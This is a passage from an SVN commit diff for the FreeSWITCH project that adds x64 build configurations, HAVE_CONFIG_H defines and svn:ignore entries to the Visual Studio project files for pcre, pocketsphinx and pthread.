+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; &quot;$(ProjectDir)pcre_chartables.c&quot;"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -120,7 +201,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="..\..\pcre\"
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"
@@ -143,7 +224,7 @@
 				SubSystem="1"
 				OptimizeReferences="2"
 				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
+				RandomizedBaseAddress="2"
 				DataExecutionPrevention="0"
 				TargetMachine="1"
 			/>
@@ -170,6 +251,84 @@
 				CommandLine="&quot;$(TargetPath)&quot; &quot;$(ProjectDir)pcre_chartables.c&quot;"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="..\..\pcre\"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(OutDir)\dftables.exe"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="2"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="&quot;$(TargetPath)&quot; &quot;$(ProjectDir)pcre_chartables.c&quot;"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/pcre_chartables.c.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,7 +42,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="..\..\pcre\"
-				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -121,7 +121,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="..\..\pcre\"
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_DEPRECATE;HAVE_CONFIG_H"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"

Property changes: freeswitch/branches/seven/libs/win32/pocketsphinx


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/win32/pocketsphinx/pocketsphinx.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pocketsphinx/pocketsphinx.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pocketsphinx/pocketsphinx.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -103,6 +106,91 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\..\..\..\bin\Release/pocketsphinx.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="../../../include;../../../../sphinxbase/include;../../../../sphinxbase/include/win32;&quot;..\..\pocketsphinx-0.5.99/src/libpocketsphinx&quot;;&quot;..\..\sphinxbase-0.4.99\include&quot;;&quot;..\..\pocketsphinx-0.5.99\include&quot;"
+				PreprocessorDefinitions="NDEBUG;WIN32;_WINDOWS;_USRDLL;POCKETSPHINX_EXPORTS;SPHINXDLL;HAVE_CONFIG_H;_CRT_SECURE_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/pocketsphinx.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				AdditionalLibraryDirectories="..\..\..\Release"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\..\..\..\bin\Release/pocketsphinx.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -171,7 +259,6 @@
 				ProgramDatabaseFile=".\..\..\..\bin\Debug/pocketsphinx.pdb"
 				RandomizedBaseAddress="1"
 				DataExecutionPrevention="0"
-				ImportLibrary=".\..\..\..\bin\Debug/pocketsphinx.lib"
 				TargetMachine="1"
 			/>
 			<Tool
@@ -198,6 +285,98 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\..\..\..\bin\Debug/pocketsphinx.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="../../../include;../../../../sphinxbase/include;../../../../sphinxbase/include/win32;&quot;..\..\pocketsphinx-0.5.99/src/libpocketsphinx&quot;;&quot;..\..\sphinxbase-0.4.99\include&quot;;&quot;..\..\pocketsphinx-0.5.99\include&quot;"
+				PreprocessorDefinitions="_DEBUG;WIN32;_WINDOWS;_USRDLL;POCKETSPHINX_EXPORTS;SPHINXDLL;HAVE_CONFIG_H;_CRT_SECURE_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/pocketsphinx.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="2"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories="..\..\..\Debug"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\..\..\..\bin\Debug/pocketsphinx.pdb"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\..\..\..\bin\Debug/pocketsphinx.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -278,11 +457,11 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\..\include\pocketsphinx.h"
+				RelativePath="..\..\pocketsphinx-0.5.99\include\pocketsphinx.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\pocketsphinx-0.5.99\include\pocketsphinx.h"
+				RelativePath="..\..\..\include\pocketsphinx.h"
 				>
 			</File>
 			<File
@@ -306,11 +485,15 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\pocketsphinx-0.5.99\include\ps_mllr.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\s2_semi_mgau.h"
 				>
 			</File>
 			<File
-				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\sdc_mgau.h"
+				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\phone_loop_search.h"
 				>
 			</File>
 			<File
@@ -342,6 +525,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -350,6 +542,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\blkarray_list.c"
@@ -364,6 +565,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -372,6 +582,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\dict.c"
@@ -386,6 +605,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -394,6 +622,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\fsg_history.c"
@@ -408,6 +645,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -416,6 +662,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\fsg_lextree.c"
@@ -430,6 +685,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -438,6 +702,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\fsg_search.c"
@@ -452,6 +725,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -460,6 +742,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\hmm.c"
@@ -474,6 +765,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -482,6 +782,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\kdtree.c"
@@ -496,6 +805,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -504,6 +822,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\mdef.c"
@@ -518,6 +845,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -526,6 +862,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\ms_gauden.c"
@@ -540,6 +885,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -548,6 +902,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\ms_mgau.c"
@@ -562,6 +925,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -570,6 +942,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\ms_senone.c"
@@ -584,6 +965,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -592,6 +982,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\ngram_search.c"
@@ -614,6 +1013,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\ps_mllr.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\s2_semi_mgau.c"
 				>
 				<FileConfiguration
@@ -626,6 +1029,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -634,9 +1046,18 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
-				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\sdc_mgau.c"
+				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\phone_loop_search.c"
 				>
 			</File>
 			<File
@@ -652,6 +1073,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -660,6 +1090,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\pocketsphinx-0.5.99\src\libpocketsphinx\vector.c"
@@ -674,6 +1113,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -682,6 +1130,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Property changes: freeswitch/branches/seven/libs/win32/pthread


Name: svn:ignore
   - Debug
Release
Debug DLL
Release DLL
*.ncb
*.user
*.bak
*.obj
*.dll
*.lib
*.exp
Release DLL
*.idb
*.pdb
*.map
   + Debug
Release
Debug DLL
Release DLL
*.ncb
*.user
*.bak
*.obj
*.dll
*.lib
*.exp
Release DLL
*.idb
*.pdb
*.map
x64

Modified: freeswitch/branches/seven/libs/win32/pthread/pthread.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pthread/pthread.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pthread/pthread.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -96,6 +99,86 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\./pthread.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="../../pthreads-w32-2-7-0-release/"
+				PreprocessorDefinitions="__CLEANUP_C;WIN32;NDEBUG;_WINDOWS;_USRDLL;PTW32_BUILD;_CRT_SECURE_NO_DEPRECATE;PTW32_STATIC_LIB"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\./pthread.pch"
+				AssemblerListingLocation="$(IntDir)\"
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				GenerateXMLDocumentationFiles="false"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG,PTW32_RC_MSC"
+				Culture="1033"
+				AdditionalIncludeDirectories="."
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\./pthread.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -176,6 +259,86 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\./pthread.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="../../pthreads-w32-2-7-0-release/"
+				PreprocessorDefinitions="__CLEANUP_C;WIN32;_DEBUG;_WINDOWS;_USRDLL;PTW32_BUILD;_CRT_SECURE_NO_DEPRECATE;PTW32_STATIC_LIB"
+				MinimalRebuild="false"
+				BasicRuntimeChecks="0"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\./pthread.pch"
+				AssemblerListingLocation="$(IntDir)\"
+				ObjectFile="$(IntDir)\"
+				ProgramDataBaseFileName="$(IntDir)\vc80.pdb"
+				GenerateXMLDocumentationFiles="false"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG,PTW32_RC_MSC"
+				Culture="1033"
+				AdditionalIncludeDirectories="."
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
